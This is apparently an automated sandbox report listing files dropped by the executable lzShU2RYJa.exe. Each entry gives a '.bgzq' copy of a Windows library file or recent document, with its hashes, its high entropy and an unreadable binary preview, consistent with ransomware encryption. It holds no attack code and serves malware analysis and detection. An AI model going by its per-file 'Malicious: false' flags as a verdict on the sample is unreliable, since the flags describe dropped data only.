Preview:	<?xmlCj8.....hn.=.2.........Y....t.M:.2..:66....I/....It..f.....Vz....{.N.....+d.......5'.!.A.%Y.........Fj.E.{.2....C...WsZ.P.Ua../...m..e....z..7........@$G..T.9`..v..P.>1S.....M......j{%w..c..$..O.....T.>...j..l.(X....F...E.`Z.f....+H..N...^W5.L'.yAf.Z...._4uQ....Jv.L.W...e..[.\...X.....@uKP.........T.z..y..JTfr....;`s4<.go.....W..pb...}.B..[.!4.?".m.v..5~.N.=......X.X.>...'A.....y..../.w+.......@I{^...o.......60....I.;....ya.k.5t[1..F..'.xr.1...m(.d.......S.$.g....p.Pn.nzP.g....ii.f.Dv.L......jB.,.?\|9.XgxK.........@Ud.=.J...d`.Rd.YX.^x.Q.f}I.A..N.;.v....;@.9..mECz.)[..q;.-....j.3..i@.1.....a..?0..aI...`..:.>\|.........Tl.4.L.8..\|.3.g.Y...m0.>}2B.{1.....R..F.=.l2N..y. ....r........6 .I....l..Q.o3w..h.lP..d..Ol.?A....\U\|..3..k..5....<........:80.).=D.y#.N..4.\|...^.$..../......='.(Y..r6...Kh.2.@!...(mSK...5...&....u.&..Cq@.0Y...R.t0;..=....R$.........u.D#V.G.P......y...z.R..[B.fhy.3....Oo..-.v+. ...[.>.t.%.....y.t..........<...b.@.p.X..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.913806586571924
Encrypted:	false
SSDEEP:	48:SftRyt4V6+XVmccnKb4N1UjgJ1B5FrP6nstrql1fPsxM8FD:S1EfAmccKbC1UjgJn5AstrA1Hsm89
MD5:	16B7F218CC6FA8CBEA793AC887923626
SHA1:	02CAEF015986FC4C1A222D71039E179ACC55E2C8
SHA-256:	462317B4250D6A480D0899C4D08A34F7582AA7E137D49351237032E5140CDEF3
SHA-512:	498AFCFFFA62D23640D9F41C90B619847528274D0E3CC97C0CC7FED11F9B23034BDD9AE3FD6226AF835A56A013096F6E9BE3EBD971AF33BA01E9762590BCCFBA
Malicious:	false
Preview:	<?xml.......4F.iQB...9.....}p.9n....vY5...Bs.)=..UZ.7q..{y..:...q.U.0....D...^..U".....&..^.j...)...n...O.....\...P.T-{m.b..,.$..Rj.-..i?..haS).D.:.}..tV.e........-...g.L9o..)....X.Vk......7xq..".Cv....\|).......ab;......".."T..\.o....:..ax.^..X.2.gI...q....3...{".q..l...W.E....j&.K..@....U...BaC...F@.A...%k...4i.Z.H...%....M?..)..}..........4..o.$......RA..E.@.......;k..c..O7...Q.4..\|.............F.........jF..>n..Z0.re...mi...y8.a".>nW.(,^.8....{..&..h..}%.CW..Q.."k........(...........-...b.2.....~K..PU'U.....U.G........g]A.w...KK..,hN....\..E.C.`k.U!$......._.b.....l.._...........)51a.....K.......8.#......../U....2k.G...EZ...&.l,>.9..7...<.a...T.R........'z.j....E...o.2.O.....(j.w&....X.....Y...5......9q.....+\..J..`.5...u.am@..E[!.\.ms.6.w.L..%.4.@........f.M....k..Twn.M..*......Yv...Gz..=.be..h.....4_u.7....!..d.e8..KC...S6.....I......#..R.r.nI+z..Q.=>&6.^..p..o.9;....y2...a.x.v....ObR.S.... d.M..2]@..\|.PF...C.I5..R......

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.921142708829425
Encrypted:	false
SSDEEP:	48:kmlvdfI9Lgr1WKYY4alVIXnAf13U/pu3qoZ6A/uJN/PjRoGIFD:kKQuruYHlVIXolO+XAAc9I9
MD5:	6DDBCD4474D22D1343FA787322986619
SHA1:	7ECF910C3D249D738172B5A9C5724E1B3F16862A
SHA-256:	93311CB434579C84373110E0DC6A2D35DB7911D9F9275795186ADD076B472F4A
SHA-512:	91D10D54EEB486906DB35AC668A8C77E6238B1AC3072A19D4B769C3036688AD6A5A0DB6062C60DCBC0B02CE18278DAC63B5AA8C95ACD69645865112C63E0E073
Malicious:	false
Preview:	<?xml)..H..6..`..a..w.#...q.....zh...<...O..,..=.Um...x.....?. {.R'..a_.m..^...7.X[..,.1....<....Y....... .?...[q.C\|Q.........Du..O....<.....Kr..>.Y....z......\|D.qW...L<.:...f.2B.zGb.\..:..D........J.e3t.s.Y).r...4.z.(.....3E~...7..j~...!.....%...W.K..........X.N_T}...B.........t.!....A...~.p..D..../F0.)V.<.E&E.E.\|X.8...e..-Twp.2....J..o...A.....~BQ.V.k.\...V...8.n........<qF.....)......_.W..s..=.;..6.F...R.H.R....;.........q....\|>.~CF<q$.]...h..w.._.yHI.E...+..'.W..........-A..a.......)-.q.2I..h...n....eE$.....d......R4.K.._.wW(.I4.Abl..&.0......]..pG.C/...+..xr]....eIVt.......c.Q.....U<]bu~.4dm......@..L..`.dy.8..............zgf..N.....].;....G...nH{s.L0-.._..jX..6...2...?/..^h3...ZB.....1C....1.+;.j..M.?......m..v-.....l..S.#....Xy...+<..9.Q..`o.bYD.D...I.c.{....b..A"........5.O...v.7.....B....Ti..+.....1CI.#N...o.p..(.V.'......P5.f2.s.B......5s.h.Uv...l...b......`-..E.....A.~.'.>)..z.0o.z..^U+V..ylh..e-...U...../.{.`%.G1Oc...,%

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.922686429371104
Encrypted:	false
SSDEEP:	48:wb2SWWWvHYGaV+BmdbSZruff2/PKmSWWxbqaBONa7QeBD0kDfhFD:wbbWxv4GagBwSZruXA7SnxjQeBQkDfh9
MD5:	E1D6466DDDBC8EB2A1BF417EF9E4D038
SHA1:	A0917C300D7BDA5635A2C6D4C1D467BD0261D3EA
SHA-256:	D4222A94DC3214180C4E05E898B11011BE51C0B6D1A34D7BC42F14F72F148213
SHA-512:	E8B43A0AFB7263CFEE0351FBB05B7BCB779F9DA5DE13B8AD187ACB8260D7FA3F54731C66E316B0835A4181E2B43F458EEF77EC464C39DC7B6B0C913E1EABAD22
Malicious:	false
Preview:	<?xml..$P:...u.!+.....#..d..!.....Bbc:..km...xu........bk....lp.-..Q.$.f..T....lM.v......;.V5.ZzU.A<........N.m...V).P4..k.....Q...:......t.q....0..f`{.......!...>...y..y3.O.bn...;b.G...'..(W...V.B<.{..S..C/\|...Z:WAkA..O{.q.(....!..;.Z.....-\|..P/....Q.q...R0^.w.Ld..:.p.c..Y_.n.9fa.kB..t%.t ..3.L..w....3b...Cg.Q....n2...xk'iA...p.#\........)..g$=.....<)u......l.!.-:.e.'.....D....i.jv...#............o.^?j......).........in...8.6P ^..o..>...+....d\Z.A.U...X..O..p...y..T!.e.D.f..C......n.L.......:.j5.Q..<.F....\|....AA.yG&.g.......-<.~.?.b....Z.h.(.VN].]...\......n...S.0..l.v,..4....FK....1.@...!....Z..&.w.'..S.1...0".@........x1I....,&c..1V.!Ca<.T.... I.L=..@D..uAg3C.e.-.2..+......Fu.D.u.tZP...b.<.........O.%..{......7Zj..\k...A!O.+.J.%t1...{]..%...)).......Ou.z$.....bP,P.PM7.O9.%8<5...u.6^.3JZ..g.`l..;.O.%.`(o.t~6.SX.T..;C...n.q.ps........l../&.K.N.y...E..k..A)AC.Vm.S;..Au.....@.Uz.......S...x...S..-5.L.....+t......8..>-7R.C2..!.BV

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.866663295675916
Encrypted:	false
SSDEEP:	24:iDDq0nviRWTFiu3InZQW7eeZQynf7MAZpFAHEp9vtMsaQF+631A59yVbD:ivnvySiu4ZvrTnD9TCkp9veszF+22wFD
MD5:	262B911115DCE4B4EA9A4BB25AF53EE2
SHA1:	C9B44D2ED4BAB522EA073614A01A543EBBE107F6
SHA-256:	F75B6D475D796DE874E7C96529F861860CC1146C1E760A881A91A5FFDD865999
SHA-512:	F516719642D5ED0B93D44CF96365211553AFE4FFFA6C3CAF8B89DFEB2747B858329FB576B9ADBFC769DA86F8EAFC3275FDD01C2861776F25B854CC6548C0B48A
Malicious:	false
Preview:	<?xmlS?.k..q.Q...q.!..".^......<0.w.\.N....o.o.cM..u...Z.6.&/.$....=T.....y..#....3.[..y...Q.....Rr../......d.6.....r\|_.dy.@..1;0..%.v.U.g.%.h..~'..>....{J%....3.:X....9.%...Al-.u..\..HlJ...)r.^>...j(.Y.@...#(..R..t...QYR......%..............[.{....WlA...I.5#,.x`...r:....0.8...\|.l.Q....2+..=.......T)...xe...o...........Q....4....ja..:..o<.?......p.XU.1.[.K...9lbL;.sm... .....<JR... ...G:..?.~J.....<[.\.....`C.(jdM~?g.KZ....grrZ.....5X...DX..Bi8..8z+8T.-.<\|...v!q'./WO\|.5.J.....I6$..\|;.]2...2K..&..>.u....6'...+....h~Wl.._..x...(..^.`2..e6J[.V.\.C.EH........f.....v%.M.{lm.N].m...X.j.D...^..b..I."u..W......&.n....b..J"o.2.E...m....\|[....b.9.p..R.B-..^.r.V.......t.^....~..pf\|....q.P.O..E.....Y....x.-.,.'L.6R.<9....]:.....m..........T......A.He.)....+.$p.}:{.V.....{..(....d..........k....EDY@.;.b....pA.5>..s....z.C.`.....u.h......-...9e..~.:...z.D..................\|..._..O.~...u...S.:m>.uw......{Y.s...?.........M.....rSz.,.D..W.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.92894056688652
Encrypted:	false
SSDEEP:	48:Myo34i5Rji6XqDS3gQU0aAPb9VV7KWQPVYnbhnaSPw2DDNFD:My7ijj04M0a05mPubsyw2DDN9
MD5:	854FDA9D88CC888012501044CB0469C4
SHA1:	87F676A9974C358995233F874490694C35461DDF
SHA-256:	A1CD3CC874A7FD2E80620A9E77949CDBA715242338351CE40DB62F9D106069F2
SHA-512:	F1BBB1EBC89F792BB29ACEE23DF6C4A0FEA3E1D2AB87AFEC8F628DC99BE608CC8D7015608F9225923A3C51BC6E89D076BE8E8E1E6475386589A375E3C627B753
Malicious:	false
Preview:	<?xmlSJ..C.,oNc.d35.;...u7P.v.........!=5A.B6)s.....5YQm.{...M..;O...1..x"..,...q... .O]u.........?.U.]....L.MN..Z~1.e.........).U...}..Y..Y. ...hQ...S2X).Z.y.:..T:../N(../Eu.;.c.....nP......@...h!...5(.....^.....(....Y....RZ.....<..s...,.H..^-.....;.8.(Z....8.6.sYsG.,.....}jg.q_.-...^..pw..;.../C..T...[..lO...........6...u..J.Z......Q..._..Y.~R.m6.Y.."..Y....{...X...wA1.....:..\|..^..H.....3.u.t..n....7.O..O{.o...0....`....y....1<..t........c{.<{..B6..[L:.q.2.T..8....f..~&...-E#............I)..X.;8..p...9+.2...>n......YH{c...&..=..a.*m....40............cc..._6[..I......:...VPT9...i.`7&...zl.9..Gj...X..0....].W..=.,.@P.%.ai..'8I....&....................d#....Xq6SV.\|..7l.D}ix._@..TC.,..s=BI....:5V\Of6..%.>......S...-M.ns)...h._H..s.!...P...t.HR^[m...{..j.FS.2...nK...&.j..6....f6...5..Y.,...vp...G.@....R.? ....!.\3.P.;....ws%..M{..`F.......c..\|v..n..k.]..I....\|..`..D...H.q..K..b'.F.ct..z.9...G.n...l.......F&.E.3..&x._...L

C:\Users\user\Application Data\Microsoft\Windows\Recent\DRBXYKCKXO.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831553731052206
Encrypted:	false
SSDEEP:	24:4aamkFJrGMo+o8gmOsp9nGCYeSxBs7VU+eadv02St1gB+xLmm6Q801nDAQKbl9+2:4aWjpgOnABsqa90hkkxLmmL801cN9Ocf
MD5:	46EBC5CA9A5E4088E58961B6C82B11F2
SHA1:	10215E478B14A2D0123B696BEA07746B9B2384BB
SHA-256:	B05F0A35A1A412AEC25959B7FF05404A9BD718A6579909996EFE77A8392FC91D
SHA-512:	3AF687A18E6E1D58D0A74C029D8B12CE6291E378E37421BD1AA22D9FFDC30004D4E7B43CAB73FD041E5E1AB7225F3B2319C002A9A2BD8C7707AD47717F74B4A0
Malicious:	false
Preview:	DRBXY..=U...T..\|.d.~)\|.P$.?...J.....:>.5..^.d...:..Ad..7U.O.&&...f~......[......`..Mn.<.r.{w1.f.hj..~.t...74...#......V.c....<.k<z...p..6.......hy.{.5.............\X..E....\|..4....[f...J.x..A.5.H.....w%..eo.D.........3_m....ul..I.j..Q.o.........a..-...v.-{...........O.&...g.Ol......Z..}n....I. #.B.....>.....J.e....we}.qg.^.92"i..Fq`?#.vh.....7..R.\H.".#t.....1~lJ..E..U...E..=.\|L.........X....>.%....(.].j.j.$.4..gm.G.4...dX..{.(..Az..4...>.c..H..j...e..D............q.......L$.k..^G.eI.G...mI..A..S...Ct.......2G/.6..%.z5m 8...`.wF.?.".e.G.s!....Oa.Mv..ww.<a..B_.L...q.[..pS.U...t....ff.....v.......a...."&.:jp..Z.mO.g....,....+<g.....aA.{,..:.&...Xo6..gRi..`.?z......d.....4...-.%...Ke^..E"\|..M.....9.-.........\.U...f......r3.......y.....KM.y.o...3M...+.q.R.(....&..D........#0D..e...x..aY.#iw}.D.d..Cp...L.....B=.T.....I~Cu.{......9 z....a?.T....$.J.O...{.J....Q......F....`D...+Bj...o[..39..........$...V.m.eDHo..D..r..5"....8...]

C:\Users\user\Application Data\Microsoft\Windows\Recent\DTBZGIOOSO.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849505772498584
Encrypted:	false
SSDEEP:	24:Z6vf0NGUyHIqe1AXRS2pwa2cWa7J3120sn6EBfWt7CblcQT6TWV0h67irOhiXe4V:QX0N1ynfXRSda24WT6+etO36Tuk67cYI
MD5:	8547FD706B75B7A0E3B13E5759869477
SHA1:	A1C63A4C44E25485797F101FEE5532B11DD422AA
SHA-256:	B10A5211346B79C45DBC6B8875DA1153595F0E894340CB412953661B48CFC491
SHA-512:	AD3F0D4ECAA7F16E6E9D5A50A62BEEC45D59926AD3F5B9C2209CF0EB8283BCDDE06AD1BE33E4E2DB54FFBB36B66DCB6A73F755BA2DFEC42B89DAAF5BA7D21559
Malicious:	false
Preview:	DTBZG...S......r9{@a...`........[W....pN..g....-.R.C.u....Vu..4s..&@.a....'\|E/`..v...g...I<..,.0....+q..x...]...J...-..H.Q....$Aa.k.Rxq..J..j....2L...........e.i......./...f.$c....v.5..=i...>.i...cc.....Y.....".Sp.\|...H....9!..~..p#......%..P\....],.%:{..6m..1j.D...L.Wd..SN;]`...J.....E..E.+...d.i......swLa.....>....{...OD...+.v....j`.....v...Q...0..!_.f...$ly..L..B#..%...l.b.bH....%n~.g...>.F..B.%..'..Z...d.D....g.$.:.q.....^...1..br..;.w.u$.v.5:.....FL..X..3.<'..Q.%.4\....{.Z.A.". F.......".Xt...eI.vnG...9.a......8. ..[..f...m......8..4.{....;+X.f=.L.m...N@[i$J.,sl.P..X..+B.'.&.i...S.W/H...b...F.sw{.."#V..3}i]2.:.r.n<.M..../....!lG.'B.Y]e.Uf 2>.r......&.7..P.h.....".....s..R9L.L\|.x%......jK....G...fN....J..L..N.k.....N2....O6)...4"._.6.f...\|...j.....r....[..P^.M..,..om.`K5.p....S....'}.<.'.6...(........+.2..[4l....Z...P.Gkr.(....x.\R!...~..h.:.f!..$...6.....N'...)+Y.8.vQz>.,..+B.>NX.....z.My.t...>.d......Z.B.aL.1e...

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859361729483831
Encrypted:	false
SSDEEP:	24:cMixdR8pK7sLXM5TvMsOd5UgFpRTAF/Y9PH4YDRXOK0/NmDsTfmVbD:cd78p/4UnNAFwFlXOK6NmDQfmFD
MD5:	70D61FA05C709BA000FF6F27D2CD5CF6
SHA1:	7846E20E73AEE356B86856804A3C32A10E4A7F47
SHA-256:	AB6B3C7F932E41019ABD787E7F95CE8CC0D1A06B723DCE65980CCCF8262D559C
SHA-512:	0DDD5575572618F667C0A16657B6167F84AD7AA88B004BD4BC3BC349B25BCDA2B61D4758F761840F41C8A3A5C05B6BC9208B9904447444B3138B0BFD225572DA
Malicious:	false
Preview:	DVWHK....$7k....J....`....r...X[r.4.........=.-.[.....4gP!...Zx....9....=v..P.....v..U3......N....:...X.....g.s.by.q[...m....y.$..<.....=..f.j.@...?E=....\|.x...C.{..)......22h'x..7.!M@......{\U....b.S"p..D..heKc.9^...+w.1E!.#.;.W'2..o.{......F_P.;0..J.L..au8....U.(x.\|.N6..Vi.!..Q^7.A.IO.......\..).d....{...;.}...+.y.o..=.w..q.2~..cT...a...N.(.E...=..4q7\|.O....;Z.....D.g..E.. .+..3......k..5R.p.$j.nj...s._....t.J.Ii/..f...7'..4x......B..>....)9.v.Qy.CD.-1../...:..;#......[.j.../.....t.q.......\.p...S._.e....%....9$q....(~...6<....;.M.C.=y....s.\| E..(%.....(.^h.F2...W.k...tL..v-.K.k6.X...;.$6.w.]..S...)../..[.>....9..m.oE..(L.J..K).mF9.!2\.Q"\...Uh..l..=...".C....<..R......>...6...]....)..=t......u.EB......(f2x.p.`.kbr\|.....D.,v......6......M.t.~.O.:;...&.R...SQ......2...(#._..pY.ORi.......]..K.......;..:$.D{.Sp./}.....p....CS.3.$.u. ..nM.?.. ...=...%u?...l.J..9..\|j....e..K..=&..&_..A..agR.:...V...Z.^...$:w$".[.U..a....o2....~...MSb..i\|..

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848768695290938
Encrypted:	false
SSDEEP:	24:YHKTU95dhaoeyReIN3cWs4sMEvFP3RSDjk/Q8myqnXbpRACmVbD:8RhDfReIxJ3ENP3Rsjk3hWbQRFD
MD5:	F1FD21C01C3F1E5CDFD99157A0901A3B
SHA1:	719073D403B0DE8F174F5F67B3624A75FC0B2773
SHA-256:	ADECCCC4F2F5EFB4D986C53DAB10CA86371922233B1D96B3B018BFC7CE76BC75
SHA-512:	53A926E2352AF3A5FC2126652BFFC50F20891B7335F8C0E57A333B0CBCFFC9699ECA788D1478389559EA425FD18CD50F798D1E5D5442293EB5FB1E6F8CC05194
Malicious:	false
Preview:	HYGZTI......0/0..x_....5..ElT......gs.(...tF/.$...<....~._s....[.i%...\|.@.'.............S=.....X.U...W.jyC1..bC....@.V......hm..s6..7._.a._..Ix.....Z.../C{h..w..w....C.`$..BAq..$...S~3...l5..r....Ay3.b6A...V....pA.A..X.h..b...$.wYhH.RC....`..LM5{'......b..).\|+..O.t....)...A.guDb....;662. .....V\|.a.......YI.L...n/..h.,S............F...Q....Q.y.W.i./.Z-...U..,.h.>.F!.6.Z(.j.......m..2#.)....]...G..X.3E.o.;Uy.........s.GM.......Q..exa.......J.......]/..M........1..1......b.`..Zd.Y...MzL..m.r....H.M..............F.D..!..!.....v.X.td..:..o...5=...X).,.S.x..r.yy..{h...d.L.aJ...w.Gn...............5g..R%.,.1..5W.B\~.B.u..E.........=..a...s.`....@.(0....zhz..s..\|.z\...(.rqgC..;n.B.fx47.iGT.-)...uz.....l....."....n3o.......j!..c8.O.}.U....>>[...;.;..Cx.,.......B... ..ON ..R......\|...^..#...=.~.S.X...T.WoKv....n..3IW..'-ut~R..W.Gq.....U<.>.......K...`Tq.?.]...m.\|W.j......a2M..."-C..dg.C...p..........m.....Q..G,.I..Y..r.6..U.u..XEP

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876731951323968
Encrypted:	false
SSDEEP:	24:FBzWso85O6VeN40R22MLlqmJTqL3twz2ozdD+3niuYrmR5dNiap7GSw5ZZ2HuCpN:FB6so85Y3RjMZHJg3tk2E+SjrNEySw5g
MD5:	B21A06FA79580D49C06CD5635EC6EAEA
SHA1:	A616E396C4E63AB3B892615B301FA2B03B7221CB
SHA-256:	FBAC1D2CF07930466CE7A269D7A89C949C7B292F7421E3FAD1F9FAA58C620924
SHA-512:	AE824ADF0ABE91A53374BFAF8F03BA4B5D43979620B0747B9E7AE5377B8DD8CC1492F18861ED5D78A996BB46E8DFD591EBEF81DCE20705FFD7F5E97E1B4AFB1A
Malicious:	false
Preview:	HYGZTO...)..R ..Z+."g.H.4.....e".F.9y..=.......c......V...E.,.'..a4...1t4....@...< .p..0=...V\E.p<.}....A...q...../.h....1\|O.?.....5...wDl(.....Vr.I.S.zFq...F5.Z..p.]d".^F.......Jc.6.N....Z'.....).j..LV......'.........~-...uY.....]wu.r....>.......-{i......`.Px2_...%y\k.e..U!cTg8..I8K. Ej.BEW...q..y.n.C....9...)n.?G....4..........U.......+..kv..uY.).0..8ES...Z....3...%< ....1.+.4Y.......q.D..L...J.V.}K......^..^$...m....(.{}d2.C...w..>K.,..].@P?R.....i$d9-...1.....T......L%.#....,..eRG3....q..J..?@.........A..P<...-..a....n. .o....N...V{..fL .h{0x.<}K..&.V....I.<_..YH._..e...v....W.~...8.#.(....P.... ....a...=.Y....(...].......z.t......NfI.H....`....Je....[...]...B....G..5........v.}.~.......2...7{..........@.m=>...y..V.l.Q...N...Bb... c.&8.-..[F..cc&.._./..B....X+.H&..v(c..NX...H...d.3..x......Za..QW.:}&b.M..].....K............4.K2y...<`..!.D...0..lK\|..H.[..N.l...#~.S..61{9!...!....'.....H.......X...A..[..q./..@:.>.m....~..g_I.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849326367269477
Encrypted:	false
SSDEEP:	24:rLDeSXXH7dRqcmZ9wMXff0N7HZzBezWgKWSwCxtQAvjdQSaqMh+6NVbD:beSxWZKMvf0NTZMzW3kmaxhLFD
MD5:	3C31A17FF7DDD15A6BF6C30DD8764829
SHA1:	35C8931496C3975827DC0422F606F8D980EE13A7
SHA-256:	EBACA77246159D0A500798A397675AA3E8B88E819683ECF96F5DE8ADC2C5358E
SHA-512:	6652260D4E3E63ADFD73788FE019926F099B7C9C9FBD566B784AA5C70E95EE5E026F0298EC1E202293BBB2B0124D6B21FAF46888F2A62348F3F1027E66B5FC69
Malicious:	false
Preview:	JDDHM.n....i.\...V...~..._..W..Yn....!..2...k.[...3....NHx..Z..!.-g.i..l..n....~.?Tg.1.\...\..........N5D.5.ij..X/.:..........S..O ...sj~.D.:r\|.S.9..2.........?].i..6.z...Ry.<...%....\|$..K.V..Y......Q...E..Q.r........sYQ t....Z.k..rB.AE...l..(.K..".R........5.....0.....U!..C8=..[.K........)K.....P..Me.r..$.<.X.....u..$....u....M.7.h.\|..v.(0W...#MIm..U{g..X-.b7..h..V:i..l...\./t8.T...W"...7/#7..{`.....t..hb..U......4.j.hHk.zz.U^F\B...b:......8.\|+......7..f.%1..........v.....7.C.fqi{_:k.3..?._N.`.&....g.".%.'..G(.Y..f..=.<..C....).Df.54..... .,Z...H.. ..U.e.E......,}jFD`..L.%M....Z..~.7y..s..s.v.f...\...B.b..<A..m..I......%.v... ._...D.=J.d.5f.....w.f..B.b...Tq...Pi...tt...F..\|..r.......]..x....\|i=....y.~.4.......')W...#...a.l.k).'.........:.]...>..:."`B.K.B.2P..G`!K...l8....da.....e....>.o=..6.\|..G...`..<.......{Uf.ED........6.........\|.?..uv.IB.nR..a/?T.;.w.4....MO....?.m.&-.4..s..@z..z..V+.8N...t....~.N92.U).}q.A....5D8...z..#

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.812103480846568
Encrypted:	false
SSDEEP:	24:2X50PgU94eYfaALA0zXbBF/qutD6lQhRHyCFqDGoB0+gePpgaoz3uudSVbD:aY9RYCAM0//ZulCcCgCoB0z29FD
MD5:	5664554C9CF2E402DB85A74E02B4210C
SHA1:	57D78E18463B0880D49FC5DE0DC0D2E0BEF78BF1
SHA-256:	47314A5F897F9D9BD7D6405A264112167AA25ACBA1B06884DB6363007F76EAC7
SHA-512:	1685E5915C70FC830023172D92239D86907337C14B3197FF7D78609818E767711E43553C63F36E6F987B12A251398129754FCD9BB0A6AE6949BD90B12D4C4306
Malicious:	false
Preview:	JDDHMWEa.V6...c.p.^.k.<;..U...0.4...x$.p.8..(qtB#M.R....T..7/.JZx.(...u..]W..%.....i...K....X...Y.t......4x3.;.)\|...u\L.'..s^..;A]lw#.Ed.p.B:..s..I.M.I.e...v`q.3./\|.j=1.B..EH..O.~.Q.[D....ub...Q..b ......j...0.,.F...R...8.[.,~.....'q-..........+.qv7WO[..P.Q}..P.3.......5F.3.n.ZK...x.{.J..c.....L..F.......Y.Z+~z..]....!.i......E...a.Z...U"....z..S...k.q.P.......\|..{...s.P\|.cs...td..\|m..,..j.E..u.....7..l....Z...j7b.z....J.}.].[i^....}..[H.G.m&.:..u..%...in...\|.........r..l..j=...1.p,....4....}..j..M.=L[...4..J....T..k.s..5..<UU.%.F..YJ...6..Hs.9[.^Ss......._.....Y.....Ht.....#G........l...z.^FP.8.K.'.s^+.S..H.....m..,.....4..(..H..}.D...J.,B._Q.<U9..uh.WYG...r....]..y\G.:.Y.t....Mu....e... Hd@.....N..4pK...j.0..rEM.x.^.aP....Q.s.P....M.p.J..wl5...w..m..h[...}s.6..eG.F$}.fu..<..=\.....j...J.x.7-....A..`.t....\|...muH.6.jE\[.O,z.I\|>..o....w.s.,.....x.<\|...V@...%..{6...]...Ai..D2..-...2....&.....u[.n.....r.J.z.".v9........8...s.i`...

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861365099175387
Encrypted:	false
SSDEEP:	24:cJBtIQRWH4ksYgn3zdkkIvdVrJZh9yfPjIC7yn7pmbL6huxZ+qUV2XnkoVbD:+2sPD7SdVN5kPUSq7o6Av+R2XkoFD
MD5:	FEB371FE67526C6F399A1F917C563FD9
SHA1:	7033FF0017975CEF35CABC03A33F698A43BE4F80
SHA-256:	2D196760B9D08A0671FC4569972F6CF4D8D101FE7728B73E296BE44FA4F43D93
SHA-512:	46126AB2835CFCBF6022997E19A1E7A89B89BC7DD8A7A9D18BB0672CA4215C65D23AD467CD84176CD3922A1C79952026AE2A2904E8FF78444D9859323AE39F6D
Malicious:	false
Preview:	JDDHM..c.,}..P.~i.`".......Q.p.'rL..;o...< yB.m....w.$~..I2...3.(....-. ........U.!T.......6.'..&.k.D.q....(E(?....A+....B.tw6Z!.J=.....O..M.P.8+.mf..'FC .U.^c......}.O....t.=.r..Y....M..l....M.3.Nu.....1...Y.b?...N..v.k.....Rqd.s..oK.~=..N..g..5...{....)AS.]b.T...H.[..........Y....e...I..e#.n`%m........z....4xP..d..!.(..r.+.'......./E....NL....#.:l:.c...C....W..>.......Q.ZE..........].b0..M\|"#..?.K..0....H.6Tkca..K..KK..Z..z._...@.t.W.U+.Eh.j.....xy....r#U..f.....xcv.q.....Q.n."..h...auF.<_.K.a..h..6.......V....$B......+........xk................=u.L..5.Z4....w...Uo....Q..7.q..k...NuP.2~.I"........N..=......D.e\5..q.&...%bA.^.,s.CvZc..cM........ 1..#>6T1..f.(.8L\|.y%.t.Q......l.c\|uu6RQ.K.uVI...5.'.'....9.J.k..l..\G...Y..W,\.r......>..kt..]...um.H...z.7-...PJ.8..#....z...e@..n).g..u.&........}..h..m.j.q."._.mX...;V_F-.P...........Z.......M.p......x.jk.AU.J%.V.S.3P..FW..S8.w.{..).X..d.=..i....>p.r....oQJ{.H.Qk..n.q..W.......)......(/X...b.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JQADJOBBUH.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82903518945111
Encrypted:	false
SSDEEP:	24:6Ecjgaq7WHOyWVIhGrgJf9qsaABUOvfWH5WzRE4HhgLmC2FVbD:HQX+WHzWVInR9qVtGKIGshgLT2FFD
MD5:	33E4FBC00A3E5F7BC92336A1E3F69E15
SHA1:	55BCCF052A4770255AEF86B21B3F55E06892CAC7
SHA-256:	2E5EE5E66CC16CA6390CD0397506E8F6D9BB59085183EB88708AAF46B54FC539
SHA-512:	8167D09A19505C3D1B3833189019D5070BBD0AC850456C888A735B3D09201706DD3350B1FDDD919A68B1A62239A1854F892C69775A6F9AB1D370EC074C2B3838
Malicious:	false
